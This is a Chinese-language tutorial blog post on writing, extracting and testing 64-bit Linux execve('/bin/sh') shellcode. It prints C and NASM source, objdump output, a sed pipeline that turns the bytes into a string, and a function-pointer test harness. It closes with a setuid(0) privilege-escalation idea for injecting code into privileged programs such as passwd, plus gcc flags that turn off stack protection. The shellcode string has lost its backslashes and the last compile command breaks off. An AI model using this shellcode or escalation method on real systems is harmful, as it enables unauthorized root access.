zoukankan      html  css  js  c++  java
  • Linux 系统下提取 ShellCode

    1.使用C语言编写一个获得系统Shell的小程序。

    #include <unistd.h>
    
    int main()
    {
        char * shell[2];
        shell[0]="/bin/sh";
        shell[1]=NULL;
        execve(shell[0],shell,NULL);
    }
    

    编译并运行后,能够回弹Shell

    [root@localhost ~]# gcc -c lyshark.c 
    [root@localhost ~]# gcc -o shell lyshark.o
    [root@localhost ~]# ./shell 
    sh-4.2# ls
    

    如果需要提取shellcode的话应该使用汇编来写提权代码,如下代码就是一段提权代码。64位系统堆栈结构已经变得和32位大不相同了

    [root@localhost ~]# vim shell.S
    
    section .text
      global _start
        _start:
          push rax
          xor rdx, rdx
          xor rsi, rsi
          mov rbx,'/bin//sh'
          push rbx
          push rsp
          pop rdi
          mov al, 59
          syscall
    

    编译并运行,此处使用nasm 编译

    [root@localhost ~]# yum install -y nasm
    [root@localhost ~]# nasm -f elf64 shell.S -o shell.o
    [root@localhost ~]# ld shell.o -o shell
    [root@localhost ~]# ./shell 
    [root@localhost root]# ls
    

    发现能够获取到Root目录的权限,接着直接查询生成的机器码。

    [root@localhost ~]# objdump -d shell
    shell:     file format elf64-x86-64
    Disassembly of section .text:
    
    0000000000400080 <_start>:
      400080:       50                      push   %rax
      400081:       48 31 d2                xor    %rdx,%rdx
      400084:       48 31 f6                xor    %rsi,%rsi
      400087:       48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx
      40008e:       2f 73 68
      400091:       53                      push   %rbx
      400092:       54                      push   %rsp
      400093:       5f                      pop    %rdi
      400094:       b0 3b                   mov    $0x3b,%al
      400096:       0f 05                   syscall
    

    直接使用sed工具过滤出这些东西,如下,非常简单。

    [root@localhost ~]# objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: 
    | cut -f1-6 -d' '| tr -s ' '| tr '	' ' '| sed 's/ $//g'| sed 's/ /\x/g' | paste -d '' -s | 
     sed 's/^/"/' | sed 's/$/"/g'
    
    "x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx73x68x53x54x5fxb0x3bx0fx05"
    

    接着就是测试这段代码的可用性了,如下代码;

    #include <stdio.h>
    #include <string.h>
    
    char *shellcode = "x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx73x68x53x54x5fxb0x3bx0fx05";
     
    int main(void)
    {
        fprintf(stdout,"Length: %d
    ",strlen(shellcode));
        (*(void(*)()) shellcode)();
        return 0;
    }
    

    代码提权思路,下面这段代码配合 chmod u+s 权限的设置,可以提权,我们可以将这段代码的汇编格式提取出来,然后将其注入到passwd等具有特权指令的目录下,然后就能完成权限的提升了。

    #include <stdio.h>  
    int main(){  
    setuid(0);  
    execve("/bin/sh",NULL,NULL);  
    }
    
    gcc -m64 -z execstack -fno-stack-protector -o 
    
  • 相关阅读:
    is_enable()、is_displayed()、isSelected()
    python selenium(常用关键字)
    Jenkins 构建 Jmeter 项目之源代码管理(SVN)
    Jenkins 构建 Jmeter 项目
    SAP SD基础知识之现金销售
    SAP SD基础知识之与FI集成相关的流程与配置
    SAP SD 基础知识之计划行类别(Schedule Line Category)
    SAP MM 事务代码MRKO触发的财务凭证不会出现在PO History里
    SAP MM 对于MRKO事务代码的几点优化建议
    SAP SD 销售中的借贷项凭证
  • 原文地址:https://www.cnblogs.com/LyShark/p/11431524.html
Copyright © 2011-2022 走看看